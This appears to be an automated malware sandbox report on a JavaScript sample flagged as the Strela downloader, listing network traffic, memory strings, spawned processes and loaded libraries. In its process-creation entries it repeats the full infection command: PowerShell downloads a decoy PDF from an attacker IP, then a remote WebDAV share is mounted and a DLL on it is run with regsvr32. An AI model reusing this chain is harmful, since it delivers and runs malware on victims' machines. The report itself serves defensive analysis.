HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1684292482.000002031BECF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1746942292.00000226273F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1746942292.0000022627426000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/;
Source: net.exe, 00000006.00000002.1746942292.0000022627449000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/av
Source: net.exe, 00000006.00000002.1746942292.00000226273F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/s
Source: svchost.exe, 00000008.00000002.2975592280.000001F0F7211000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1747192100.000001F0F7428000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1747192100.000001F0F7428000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1747192100.000001F0F7428000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1747192100.000001F0F745D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: svchost.exe, 00000008.00000003.1747192100.000001F0F74D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: svchost.exe, 00000008.00000003.1747192100.000001F0F74D2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: svchost.exe, 00000008.00000003.1747192100.000001F0F74D2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7480, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1136121895118314851.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7540:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_llmjgu4g.o41.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1136121895118314851.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1708,i,10986945623531913614,13893903923946202493,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\319741964525828.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2120 --field-trial-handle=1708,i,10986945623531913614,13893903923946202493,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
